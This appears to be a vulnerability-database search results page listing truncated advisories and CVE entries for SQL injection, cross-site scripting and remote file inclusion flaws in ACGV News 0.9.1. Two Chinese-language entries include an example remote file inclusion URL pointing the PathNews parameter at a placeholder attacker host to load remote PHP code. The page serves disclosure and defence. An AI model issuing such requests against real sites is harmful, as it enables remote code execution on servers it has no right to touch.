32 matches found
EUVD-2008-2407
Malware in sbrugna...
EUVD-2006-4625
Malware in sbrugna...
EUVD-2008-2408
Malware in sbrugna...
ACGV News 0.9.1 - glossaire.php id Parameter XSS
No description provided by source. source: http://www.securityfocus.com/bid/29253/info ACGV News is prone to multiple input-validation vulnerabilities, including an SQL-injection issue and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data. Exploiting these...
ACGV News 0.9.1 - glossaire.php id Parameter SQL Injection
No description provided by source. source: http://www.securityfocus.com/bid/29253/info ACGV News is prone to multiple input-validation vulnerabilities, including an SQL-injection issue and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data. Exploiting these...
CVE-2008-2412
SQL injection vulnerability in glossaire.php in ACGV News 0.9.1 allows remote attackers to execute arbitrary SQL commands via the id parameter...
Cross site scripting
Cross-site scripting XSS vulnerability in glossaire.php in ACGV News 0.9.1 allows remote attackers to inject arbitrary web script or HTML via the id parameter...
CVE-2008-2413
Cross-site scripting XSS vulnerability in glossaire.php in ACGV News 0.9.1 allows remote attackers to inject arbitrary web script or HTML via the id parameter...
CVE-2008-2412
CVE-2008-2412 is a SQL injection vulnerability in the PHP file glossaire.php of ACGV News 0.9.1 . The vulnerability allows remote attackers to execute arbitrary SQL commands via the id parameter, as described in multiple sources (NVD/NIST) with a CVSS v2 base score of 7.5 (HIGH). The core issue i...
CVE-2008-2413
CVE-2008-2413 affects ACGV News 0.9.1 in the glossaire.php component, where the id parameter is reflected without proper sanitization, enabling cross-site scripting (XSS) by remote attackers. The provided descriptions consistently identify a user-controllable id parameter as the trigger, yielding...
CVE-2008-2413
Cross-site scripting XSS vulnerability in glossaire.php in ACGV News 0.9.1 allows remote attackers to inject arbitrary web script or HTML via the id parameter...
CVE-2008-2412
SQL injection vulnerability in glossaire.php in ACGV News 0.9.1 allows remote attackers to execute arbitrary SQL commands via the id parameter...
ACGV News 0.9.1 - glossaire.php?id Cross-Site Scripting
ACGV News 0.9.1 - glossaire.php?id Cross-Site Scripting source: https://www.securityfocus.com/bid/29253/info ACGV News is prone to multiple input-validation vulnerabilities, including an SQL-injection issue and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied...
ACGV News 0.9.1 - 'glossaire.php?id' SQL Injection
source: https://www.securityfocus.com/bid/29253/info ACGV News is prone to multiple input-validation vulnerabilities, including an SQL-injection issue and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data. Exploiting these issues could allow an attacker to...
ACGV News 0.9.1 - 'glossaire.php?id' Cross-Site Scripting
source: https://www.securityfocus.com/bid/29253/info ACGV News is prone to multiple input-validation vulnerabilities, including an SQL-injection issue and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data. Exploiting these issues could allow an attacker to...
ACGV News 0.9.1 - glossaire.php?id SQL Injection
ACGV News 0.9.1 - glossaire.php?id SQL Injection source: https://www.securityfocus.com/bid/29253/info ACGV News is prone to multiple input-validation vulnerabilities, including an SQL-injection issue and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data...
ACGV News Article.PHP远程文件包含漏洞
ACGV News是一款基于PHP的新闻管理程序。 ACGV News不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是由于'Article.PHP'脚本对用户提交的'PathNews'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 ACGV News 0.9.1 http://www.acgv.fr.st/ http://www.example.com/ScriptPath/article.php?PathNews=http://SHELLURL.COM?...
ACGV News PathNews参数远程文件包含漏洞
ACGV News是一款基于PHP的新闻管理程序。 ACGV News不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是由于'article.php'脚本对用户提交的'PathNews'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 ACGV News 0.9.1 目前没有解决方案提供,请关注以下链接： http://www.acgv.fr.st/ http://www.example.com/ScriptPath/article.php?PathNews=http://SHELLURL.COM?...
CVE-2006-4637
Multiple PHP remote file inclusion vulnerabilities in ACGV News 0.9.1 allow remote attackers to execute arbitrary PHP code via a URL in the PathNews parameter in 1 header.php or 2 news.php. NOTE: portions of these details are obtained from third party information...